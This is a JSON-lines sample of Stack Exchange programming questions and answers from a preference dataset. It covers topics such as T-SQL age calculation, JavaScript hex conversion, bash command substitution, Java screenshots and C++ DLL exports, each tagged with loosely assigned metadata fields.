"url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:05.657471"}
{"id": "hf_70e7523aeb05", "question": "<p>What would be the best way to calculate someone's age in years, months, and days in T-SQL (SQL Server 2000)?</p>\n\n<p>The <code>datediff</code> function doesn't handle year boundaries well, plus getting the months and days separate will be a bear.  I know I can do it on the client side relatively easily, but I'd like to have it done in my <a href=\"http://en.wikipedia.org/wiki/Stored_procedure\" rel=\"noreferrer\">stored procedure</a>.</p>\n", "question_body": "", "answer": "Are you trying to calculate the total days/months/years of an age? do you have a starting date? Or are you trying to dissect it (ex: 24 years, 1 month, 29 days)?\nIf you have a start date that you're working with, datediff will output the total days/months/years with the following commands:\n```\n```\nSelect DateDiff(d,'1984-07-12','2008-09-11')\n\nSelect DateDiff(m,'1984-07-12','2008-09-11')\n\nSelect DateDiff(yyyy,'1984-07-12','2008-09-11')\n```\n```\nwith the respective outputs being (8827/290/24).\nNow, if you wanted to do the dissection method, you'd have to subtract the number of years in days (days - 365*years), and then do further math on that to get the months, etc.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:05.694562"}
{"id": "hf_8b13d8ccd7b3", "question": "<p>Scenario:</p>\n\n<ol>\n<li>The user has two monitors.</li>\n<li>Their browser is open on the secondary monitor.</li>\n<li>They click a link in the browser which calls window.open() with a specific top and left window offset.</li>\n<li>The popup window always opens on their primary monitor.</li>\n</ol>\n\n<p>Is there any way in JavaScript to get the popup window to open on the same monitor as the initial browser window (the opener)?</p>\n", "question_body": "", "answer": "as long as you know the x and y position that falls on the particular monitor you can do:\n```\n```\nvar x = 0;\nvar y = 0;\nvar myWin = window.open(''+self.location,'mywin','left='+x+',top='+y+',width=500,height=500,toolbar=1,resizable=0');\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:05.780995"}
{"id": "hf_2bb73c2901c3", "question": "<p>I'm doing some web scraping and sites frequently use HTML entities to represent non ascii characters. Does Python have a utility that takes a string with HTML entities and returns a unicode type?</p>\n\n<p>For example:</p>\n\n<p>I get back:</p>\n\n<pre><code>&amp;#x01ce;\n</code></pre>\n\n<p>which represents an \"ǎ\" with a tone mark.  In binary, this is represented as the 16 bit 01ce.  I want to convert the html entity into the value  <code>u'\\u01ce'</code></p>\n", "question_body": "", "answer": "You could find an answer here --\nGetting international characters from a web page?\nEDIT\n: It seems like\n```\nBeautifulSoup\n```\ndoesn't convert entities written in hexadecimal form. It can be fixed:\n```\n```\nimport copy, re\nfrom BeautifulSoup import BeautifulSoup\n\nhexentityMassage = copy.copy(BeautifulSoup.MARKUP_MASSAGE)\n# replace hexadecimal character reference by decimal one\nhexentityMassage += [(re.compile('&#x([^;]+);'), \n                     lambda m: '&#%d;' % int(m.group(1), 16))]\n\ndef convert(html):\n    return BeautifulSoup(html,\n        convertEntities=BeautifulSoup.HTML_ENTITIES,\n        markupMassage=hexentityMassage).contents[0].string\n\nhtml = '<html>&#x01ce;&#462;</html>'\nprint repr(convert(html))\n# u'\\u01ce\\u01ce'\n```\n```\nEDIT\n:\n```\nunescape()\n```\nfunction mentioned by\n@dF\nwhich uses\n```\nhtmlentitydefs\n```\nstandard module and\n```\nunichr()\n```\nmight be more appropriate in this case.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:05.865440"}
{"id": "hf_a0a370068aad", "question": "<p>I want to find any text in a file that matches a regexp of the form <em>t</em><code>[A-Z]</code><em>u</em> (i.e., a match <em>t</em> followed by a capital letter and another match <em>u</em>, and transform the matched text so that the capital letter is lowercase. For example, for the regexp <code>x[A-Z]y</code></p>\n\n<pre><code>xAy\n</code></pre>\n\n<p>becomes</p>\n\n<pre><code>xay\n</code></pre>\n\n<p>and</p>\n\n<pre><code>xZy\n</code></pre>\n\n<p>becomes</p>\n\n<pre><code>xzy\n</code></pre>\n\n<p>Emacs' <code>query-replace</code> function allows back-references, but AFAIK not the transformation of the matched text. Is there a built-in function that does this? Does anybody have a short Elisp function I could use?</p>\n\n<p><strong>UPDATE</strong></p>\n\n<p>@Marcel Levy has it: <code>\\,</code> in a replacement expression introduces an (arbitrary?) Elisp expression. E.g., the solution to the above is</p>\n\n<pre><code>M-x replace-regexp &lt;RET&gt; x\\([A-Z]\\)z &lt;RET&gt; x\\,(downcase \\1)z\n</code></pre>\n", "question_body": "", "answer": "It looks like\nSteve Yegge\nactually already posted the answer to this a few years back:\n\"Shiny and New: Emacs 22.\"\nScroll down to \"Changing Case in Replacement Strings\" and you'll see his example code using the\n```\nreplace-regexp\n```\nfunction.\nThe general answer is that you use \"\\,\" to call any lisp expression as part of the replacement string, as in\n```\n\\,(capitalize \\1)\n```\n. Reading the help text, it looks like it's only in interactive mode, but that seems like the one place where this would be most necessary.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:05.971925"}
{"id": "hf_da977cf5f4a0", "question": "<p>I have a page which does quite a bit of work and I don't want the user to be able to navigate away from that page (close browser, hit back button, etc.) without getting a warning. I found that the onbeforeunload event (which I think is IE-specific, which works fine for me as the project uses lots of ActiveX) works great.</p>\n\n<p>Problem is, I want the user to be able to click on a little \"help\" icon in the upper-right corner and pop up a help window at any time. This causes onbeforeunload to fire, even though the main window never goes anywhere and the page never unloads. </p>\n\n<p>The JavaScript function that runs when the onbeforeunload event runs just puts text into event.returnValue. If I could ascertain, somehow, that the help icon is the one that was clicked then I could just not put text into event.returnValue in that situation. But how could I have the page figure that out?</p>\n", "question_body": "", "answer": "EDIT:\nMy \"workaround\" below is complete overkill, based on my lack of understanding. Go with Shog9's answer above.\nOK so while I was writing the question, I came up with a workaround which will work for now.\nI put a global JavaScript variable in act as a boolean on whether or not the icon is being hovered over. Then, I attach events to the image's onmouseover and onmouseout events and write functions that will set this value. Finally, I just code in the function that handles onbeforeunload that will check this value before setting event.returnValue.\nProbably not a flawless workaround but it will work for now.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:06.052098"}
{"id": "hf_533511f52ad5", "question": "<p>Best practices recommend not installing Sql Server to run as SYSTEM.  What is the bare minumum you need to give the user account you create for it?</p>\n", "question_body": "", "answer": "Typically I create a Domain User with only the specific rights on the network which I will require the server to have (i.e. to write to the network backup drive), I then add the account to local power users or local administrators depending on what needs to be done on the machine, however this isn't required.  I've installed SQL a number of times using a standard user as a Service Account but you need to ensure that the user has access to write to the resources as listed at\nhttps://web.archive.org/web/20081223155956/http://support.microsoft.com/kb/283811\n.  Its probably not as defined an answer as you wanted but I'm only a developer (not a professional DBA / System Engineer).\nMauro\nPS dont downmark me for saying \"only a developer\" :P", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:06.076688"}
{"id": "hf_9e8a6b5e1863", "question": "<p>How do you convert decimal values to their hexadecimal equivalent in JavaScript?</p>\n", "question_body": "", "answer": "Convert a number to a hexadecimal string with:\n```\n```\nhexString = yourNumber.toString(16);\n```\n```\nAnd reverse the process with:\n```\n```\nyourNumber = parseInt(hexString, 16);\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:06.099603"}
{"id": "hf_2780a6baca5b", "question": "<p>I have a div with <code>id=\"a\"</code> that may have any number of classes attached to it, from several groups. Each group has a specific prefix. In the javascript, I don't know which class from the group is on the div. I want to be able to clear all classes with a given prefix and then add a new one. If I want to remove all of the classes that begin with \"bg\", how do I do that? Something like this, but that actually works:</p>\n\n<pre><code>$(\"#a\").removeClass(\"bg*\");\n</code></pre>\n", "question_body": "", "answer": "You don't need any jQuery specific code to handle this.  Just use a RegExp to replace them:\n```\n```\n$(\"#a\").className = $(\"#a\").className.replace(/\\bbg.*?\\b/g, '');\n```\n```\nYou can modify this to support any prefix but the faster method is above as the RegExp will be compiled only once:\n```\n```\nfunction removeClassByPrefix(el, prefix) {\n    var regx = new RegExp('\\\\b' + prefix + '.*?\\\\b', 'g');\n    el.className = el.className.replace(regx, '');\n    return el;\n}\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:06.135411"}
{"id": "hf_174e648c3141", "question": "<p>I have a wrapper around a C++ function call which I call from C# code. How do I attach a debugger in Visual Studio to step into the native C++ code?</p>\n\n<p>This is the wrapper that I have which calls GetData() defined in a C++ file:</p>\n\n<pre><code>    [DllImport(\"Unmanaged.dll\", CallingConvention=CallingConvention.Cdecl, \n               EntryPoint = \"GetData\", BestFitMapping = false)]\n        public static extern String GetData(String url);\n</code></pre>\n\n<p>The code is crashing and I want to investigate the root cause.</p>\n\n<p>Thanks,\nNikhil</p>\n", "question_body": "", "answer": "Check the Debug tab on your project's properties page. There should be an \"Enable unmanaged code debugging\" checkbox. This worked for me when we developed a new .NET UI for  our old c++ DLLs.\nIf your unmanaged DLL is being built from another project (for a while ours were being built using VS6) just make sure you have the DLL's pdb file handy for the debugging.\nThe other approach is to use the C# exe as the target exe to run from the DLL project, you can then debug your DLL normally.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:06.158840"}
{"id": "hf_731f3bd36ee1", "question": "<p>Is it possible to use BackGroundWorker thread in <a href=\"http://en.wikipedia.org/wiki/ASP.NET\" rel=\"nofollow noreferrer\">ASP.NET</a> 2.0 for the following scenario, so that the user at the browser's end does not have to wait for long time?</p>\n\n<h2>Scenario</h2>\n\n<ol>\n<li>The browser requests a page, say SendEmails.aspx</li>\n<li>SendEmails.aspx page creates a BackgroundWorker thread, and supplies the thread with enough context to create and send emails.</li>\n<li>The browser receives the response from the ComposeAndSendEmails.aspx, saying that emails are being sent.</li>\n<li>Meanwhile, the background thread is engaged in a process of creating and sending emails which could take some considerable time to complete.</li>\n</ol>\n\n<p>My main concern is about keeping the BackgroundWorker thread running, trying to send, say 50 emails while the ASP.NET workerprocess threadpool thread is long gone.</p>\n", "question_body": "", "answer": "```\n```\nThreadPool.QueueUserWorkItem(delegateThatSendsEmails)\n```\n```\nor on System.Net.Mail.SmtpServer use the SendAsync method.\nYou want to put the email sending code on another thread, because then it will return the the user immediately, and will just process, no matter how long it takes.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:06.182751"}
{"id": "hf_5fb050622cef", "question": "<p>How can I close a browser window without receiving the <em>Do you want to close this window</em> prompt?</p>\n\n<p>The prompt occurs when I use the <code>window.close();</code> function.</p>\n", "question_body": "", "answer": "The best solution I have found is:\n```\n```\nthis.focus();\nself.opener=this;\nself.close();\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:06.218482"}
{"id": "hf_5f23478ef920", "question": "<p>If I create an index on columns (A, B, C), in that order, my understanding is that the database will be able to use it even if I search only on (A), or (A and B), or (A and B and C), but not if I search only on (B), or (C), or (B and C). Is this correct?</p>\n", "question_body": "", "answer": "That is not correct. Always best to come up with a test case that represents your data and see for yourself. If you want to really understand the Oracle SQL Optimizer google Jonathan Lewis, read his books, read his blog, check out his website, the guy is amazing, and he always generates test cases.\n```\n```\ncreate table mytab nologging as (\nselect mod(rownum, 3) x, rownum  y, mod(rownum, 3) z from all_objects, (select 'x' from user_tables where rownum < 4)\n);\n\ncreate index i on mytab (x, y, z);\n\nexec dbms_stats.gather_table_stats(ownname=>'DBADMIN',tabname=>'MYTAB', cascade=>true);\n\nset autot trace exp\n\nselect * from mytab where y=5000;\n\nExecution Plan\n----------------------------------------------------------\n   0      SELECT STATEMENT Optimizer=CHOOSE (Cost=1 Card=1 Bytes=10)\n   1    0   INDEX (SKIP SCAN) OF 'I' (INDEX) (Cost=1 Card=1 Bytes=10)\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:06.279518"}
{"id": "hf_73af3b1a61bf", "question": "<p>My project has some money to spend before the end of the fiscal year and we are considering replacing a Sun-Fire-V490 server we've had for a few years.  One option we are looking at is the <a href=\"http://www.sun.com/servers/coolthreads/overview/index.jsp\" rel=\"nofollow noreferrer\">CoolThreads</a> technology.  All I know is the Sun marketing, which may not be 100% unbiased.  Has anyone actually played with one of these?</p>\n\n<p>I suspect it will be no value to us, since we don't use threads or virtual machines much and we can't spend a lot of time retrofitting code.  We do spawn a ton of processes, but I doubt CoolThreads will be of help there.</p>\n\n<p>(And yes, the money would be better spent on bonuses or something, but that's not going to happen.)</p>\n", "question_body": "", "answer": "IIRC The coolthreads technology is referring to the fact that rather than just ramping up the clock speed ever higher to improve performance they are now looking at multiple core processors with hyperthreading effectively giving you loads of processors on one chip. Overall the processing capacity available is higher but without the additional electrical power and aircon requirements you would expect (hence cool). Its usefulness definitely depends on what you are planning to run on it. If you are running Apache with the multiple threads core it will love it as it can run the individual response threads on the individual cpu cores. If you are simply running single thread processes you will get some performance increases over a single cpu box but not as great (any old fashioned non mod_perl/mod_python CGID processes would still be sharing the the cpu a bit). If your application consists of one single threaded process running maxed out on the box you will get very little improvement on a single core cpu running at the same speed.\nPeter\nEdit:\nOh and for a benchmark. We compared a T2000 in our server farm to our current V240s (May have been V480's I don't recall) The T2000 took the load of 12-13 of the Older boxes in a live test without any OS tweeking for performance. As I said Apache loves it :-)", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:06.300618"}
{"id": "hf_6f4b78a8097b", "question": "<p>Grails scaffolding defaults to 10 rows per page.  I would like to increase that number without generating the views and changing the 10 in every file.  Where do I change the default?</p>\n", "question_body": "", "answer": "I found this but can't get it to work.  You're supposed to be able (according to\nthis\n) to scaffold and then override the actions you want (say list) in your controller, but like I said, it doesn't work for me...\n```\n```\nclass PersonController {\n  def scaffold = true\n\n  def list = {\n    if(!params.max) params.max = 20\n    [ personList: Person.list( params ) ]\n  }\n}\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:06.331382"}
{"id": "hf_88304f9d6551", "question": "<p>We have a whole bunch of queries that \"search\" for clients, customers, etc. You can search by first name, email, etc. We're using LIKE statements in the following manner:  </p>\n\n<pre><code>SELECT * \nFROM customer \nWHERE fname LIKE '%someName%'\n</code></pre>\n\n<p>Does full-text indexing help in the scenario? We're using SQL Server 2005.</p>\n", "question_body": "", "answer": "It will depend upon your DBMS.  I believe that most systems will not take advantage of the full-text index unless you use the full-text functions.  (e.g.\nMATCH/AGAINST\nin mySQL or FREETEXT/CONTAINS in MS SQL)\nHere is two good articles on when, why, and how to use full-text indexing in SQL Server:\nHow To Use SQL Server Full-Text Searching\nSolving Complex SQL Problems with Full-Text Indexing", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:06.361220"}
{"id": "hf_de012267aa71", "question": "<p>I like HtmlControls because there is no HTML magic going on... the asp source looks similar to what the client sees. </p>\n\n<p>I can't argue with the utility of GridView, Repeater, CheckBoxLists, etc, so I use them when I need that functionality. </p>\n\n<p>Also, it looks weird to have code that mixes and matches:</p>\n\n<pre><code>&lt;asp:Button id='btnOK' runat='server' Text='OK' /&gt;\n&lt;input id='btnCancel' runat='server' type='button' value='Cancel' /&gt;\n</code></pre>\n\n<p>(The above case in the event you wanted to bind a server-side event listener to OK but Cancel just runs a javascript that hides the current div)</p>\n\n<p>Is there some definitive style guide out there? Should HtmlControls just be avoided? </p>\n", "question_body": "", "answer": "well... i wouldn't use an html control if you don't need to do anything on it on the server. i would do\n```\n```\n<input id='btnCancel' type='button' value='Cancel' />\n```\n```\nfin.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:06.432360"}
{"id": "hf_406326d45035", "question": "<p>I'm just looking for a simple, concise explanation of the difference between these two. MSDN doesn't go into a hell of a lot of detail here.</p>\n", "question_body": "", "answer": "```\n__declspec(dllexport)\n```\ntells the linker that you want this object to be made available for other DLL's to import. It is used when creating a DLL that others can link to.\n```\n__declspec(dllimport)\n```\nimports the implementation from a DLL so your application can use it.\nI'm only a novice C/C++ developer, so perhaps someone's got a better explanation than I.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:06.480755"}
{"id": "hf_722387b382c2", "question": "<p>I'm trying to provide a link to my company's website from a Windows Form.  I want to be well behaved and launch using the user's preferred browser.</p>\n\n<p>What is the best way to open a URL in the user's default browser from a Windows Forms application?</p>\n", "question_body": "", "answer": "```\n```\nusing System.Diagnostics;\n\nProcess.Start(\"http://www.google.com/\");\n```\n```\nThis approach has worked for me, but I could be missing something important.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:06.517402"}
{"id": "hf_538d94beb822", "question": "<p>Using reflection, I need to load 2 different versions of the same assembly. Can I load the 2 versions in 2 different AppDomains in the same process? </p>\n\n<p>I need to do some data migration from the old version of the app to the new version. \nPlease let me know if this is possible or should I use 2 separate processes.</p>\n", "question_body": "", "answer": "If you are doing it at design time (which you indicate you are not) this should help you:\nhttp://blogs.msdn.com/abhinaba/archive/2005/11/30/498278.aspx\nIf you are doing it dynamically through reflection (looks like the case here) this might help you:\nhttps://www.infosysblogs.com/microsoft/2007/04/loading_multiple_versions_of_s.html", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:06.552484"}
{"id": "hf_35f92dd72705", "question": "<p>I have a list of bean objects passed into my JSP page, and one of them is a comment field. This field may contain newlines, and I want to replace them with semicolons using JSTL, so that the field can be displayed in a text input. I have found one solution, but it's not very elegant. I'll post below as a possibility.</p>\n", "question_body": "", "answer": "Here is a solution I found. It doesn't seem very elegant, though:\n```\n```\n<%@ taglib prefix=\"fn\" uri=\"http://java.sun.com/jsp/jstl/functions\" %>\n<% pageContext.setAttribute(\"newLineChar\", \"\\n\"); %>\n\n${fn:replace(item.comments, newLineChar, \"; \")}\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:06.595487"}
{"id": "hf_1d2e37b9c327", "question": "<p>I'm trying to write a small class library for a C++ course.</p>\n\n<p>I was wondering if it was possible to define a set of classes in my shared object and then using them directly in my main program that demos the library. Are there any tricks involved? I remember reading this long ago (before I started really programming) that C++ classes only worked with MFC .dlls and not plain ones, but that's just the windows side.</p>\n", "question_body": "", "answer": "C++ classes work fine in .so shared libraries (they also work in non-MFC DLLs on Windows, but that's not really your question).  It's actually easier than Windows, because you don't have to explicitly export any symbols from the libraries.\nThis document will answer most of your questions:\nhttp://people.redhat.com/drepper/dsohowto.pdf\nThe main things to remember are to use the\n```\n-fPIC\n```\noption when compiling, and the\n```\n-shared\n```\noption when linking.  You can find plenty of examples on the net.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:06.620308"}
{"id": "hf_ebe34c6527d2", "question": "<p>I can't tell from the Python documentation whether the re.compile(x) function may throw an exception (assuming you pass in a string). I imagine there is something that could be considered an invalid regular expression. The larger question is, where do I go to find if a given Python library call may throw exception(s) and what those are? </p>\n", "question_body": "", "answer": "Well,\n```\nre.compile\n```\ncertainly may:\n```\n```\n>>> import re\n>>> re.compile('he(lo')\nTraceback (most recent call last):\n  File \"<stdin>\", line 1, in <module>\n  File \"C:\\Python25\\lib\\re.py\", line 180, in compile\n    return _compile(pattern, flags)\n  File \"C:\\Python25\\lib\\re.py\", line 233, in _compile\n    raise error, v # invalid expression\nsre_constants.error: unbalanced parenthesis\n```\n```\nThe documentation\ndoes support this, in a roundabout way - check the bottom of the \"Module Contents\" page for (brief) description of the\n```\nerror\n```\nexception.\nUnfortunately, I don't have any answer to the general question. I suppose the documentation for the various modules varies in quality and thoroughness. If there were particular modules you were interested in, you might be able to\ndecompile\nthem (if written in Python) or even\nlook at the source\n, if they're in the standard library.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:06.660015"}
{"id": "hf_ad55ae16a49b", "question": "<p>I am trying to come up with the best way to render some hierarchical data in to a nested unordered list using ASP.NET MVC. Does anyone have any tips on how to do this?</p>\n", "question_body": "", "answer": "You mean... you want some sort of tree view?\nYou can actually get the treeview control to work... but you have to wrap it in server side form tag to function.  You'll get the usual nastiness that that brings (like generated ids and viewstate) but it will work from a rendering perspective.\nIf you want to just create  tags and nest them, it would be pretty easy to do with foreach() loops.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:06.716592"}
{"id": "hf_ffd55a3789ff", "question": "<p>Is there something special about Safari for Windows and AJAX?<br>\nIn other words: Are there some common pitfalls I should keep in mind?</p>\n", "question_body": "", "answer": "Safari is really standards compliant.  Unless you're using some really esoteric browser features, in general if something works in Firefox, I've found it works without modification in Windows Safari.\nApple has\na developer center for web developers\n, but I didn't find anything too useful there.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:06.754266"}
{"id": "hf_dd40f9cca525", "question": "<p>To create a playlist for all of the music in a folder, I am using the following command in bash:</p>\n\n<pre><code>ls &gt; list.txt\n</code></pre>\n\n<p>I would like to use the result of the <code>pwd</code> command for the name of the playlist.</p>\n\n<p>Something like:</p>\n\n<pre><code>ls &gt; ${pwd}.txt\n</code></pre>\n\n<p>That doesn't work though - can anyone tell me what syntax I need to use to do something like this?</p>\n\n<p><strong>Edit:</strong> As mentioned in the comments pwd will end up giving an absolute path, so my playlist will end up being named .txt in some directory - d'oh! So I'll have to trim the path. Thanks for spotting that - I would probably have spent ages wondering where my files went!</p>\n", "question_body": "", "answer": "The best way to do this is with\n```\n\"$(command substitution)\"\n```\n(thanks,\nLandon\n):\n```\n```\nls > \"$(pwd).txt\"\n```\n```\nYou will sometimes also see people use the older backtick notation, but this has\nseveral drawbacks\nin terms of nesting and escaping:\n```\n```\nls > \"`pwd`.txt\"\n```\n```\nNote that the unprocessed substitution of\n```\npwd\n```\nis an absolute path, so the above command creates a file with the same name in the same directory as the working directory, but with a\n```\n.txt\n```\nextension. Thomas Kammeyer pointed out that the\n```\nbasename\n```\ncommand strips the leading directory, so this would create a text file in the current directory with the name of that directory:\n```\n```\nls > \"$(basename \"$(pwd)\").txt\"\n```\n```\nAlso thanks to erichui for bringing up the problem of spaces in the path.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:06.792209"}
{"id": "hf_c3d7804f985e", "question": "<p>We have a requirement to increase the functionality of a grid we are using to edit on our webapp, and our manager keeps citing Excel as the perfect example for a data grid :/ He still doesn't really get that a Spreadsheet like control doesn't exist out of the box, but I thought I'd do a bit of searching nonetheless.</p>\n\n<p>I've found a couple of products on Google, but was wondering if anyone else has any feedback around any such controls (obviously the cheaper or <em>ahem</em> freer the better)</p>\n\n<p><strong>EDIT</strong> We do currently have the Telerik controls, but what the 'current' requirement is, is a control that can copy and paste (e.g) 3 cells from one row and paste them on another, the row by row editing of Telerik doesn't really cut it. We are currently in competition with an 'Excel' based solution, which is always a nightmare in winning users around, who always prefer flexibility to structure</p>\n", "question_body": "", "answer": "Update: with Silverlight fast approaching, maybe you can use a real excel control.\nDevexpress\nhas a powerful grid control for both web and windows. It is not free and I guess nothing really matches Excel. But once the users started using it, they wanted every app with it. Check these\nvideos\nespecially the data grouping one.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:06.881450"}
{"id": "hf_a89a34640b63", "question": "<p>Simple as the title states: Can you use only Java commands to take a screenshot and save it?  Or, do I need to use an OS specific program to take the screenshot and then grab it off the clipboard?</p>\n", "question_body": "", "answer": "Believe it or not, you can actually use\n```\njava.awt.Robot\n```\nto \"create an image containing pixels read from the screen.\" You can then write that image to a file on disk.\nI just tried it, and the whole thing ends up like:\n```\n```\nRectangle screenRect = new Rectangle(Toolkit.getDefaultToolkit().getScreenSize());\nBufferedImage capture = new Robot().createScreenCapture(screenRect);\nImageIO.write(capture, \"bmp\", new File(args[0]));\n```\n```\nNOTE: This will only capture the primary monitor. See\nGraphicsConfiguration\nfor multi-monitor support.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:06.914963"}
{"id": "hf_6dc6a56cbdbe", "question": "<p>Using win forms with an <a href=\"http://en.wikipedia.org/wiki/Model-view-controller\" rel=\"noreferrer\">MVC</a>/<a href=\"http://msdn.microsoft.com/en-us/magazine/cc188690.aspx\" rel=\"noreferrer\">MVP</a> architecture, I would normally use a class to wrap a view to test the UI while using mocks for the model and controller/presenter.  The wrapper class would make most everything in the UI an observable property for the test runner through properties and events.</p>\n\n<p>Would this be a viable approach to testing a WPF app?  Is there a better way? Are there any gotchas to watch out for?</p>\n", "question_body": "", "answer": "@Matt David,\nPlease read documentation and take a look at the code samples for Microsoft\nCompositeWPF\n(aka Prism). It's a project created specifically to teach how to deal with MVP/MVC architecture in test-driven manner. Their sample application contains unit tests for presenters\\controllers and very cool acceptance tests for UI (they use\nWhite framework\nto simulate user actions)", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:06.960007"}
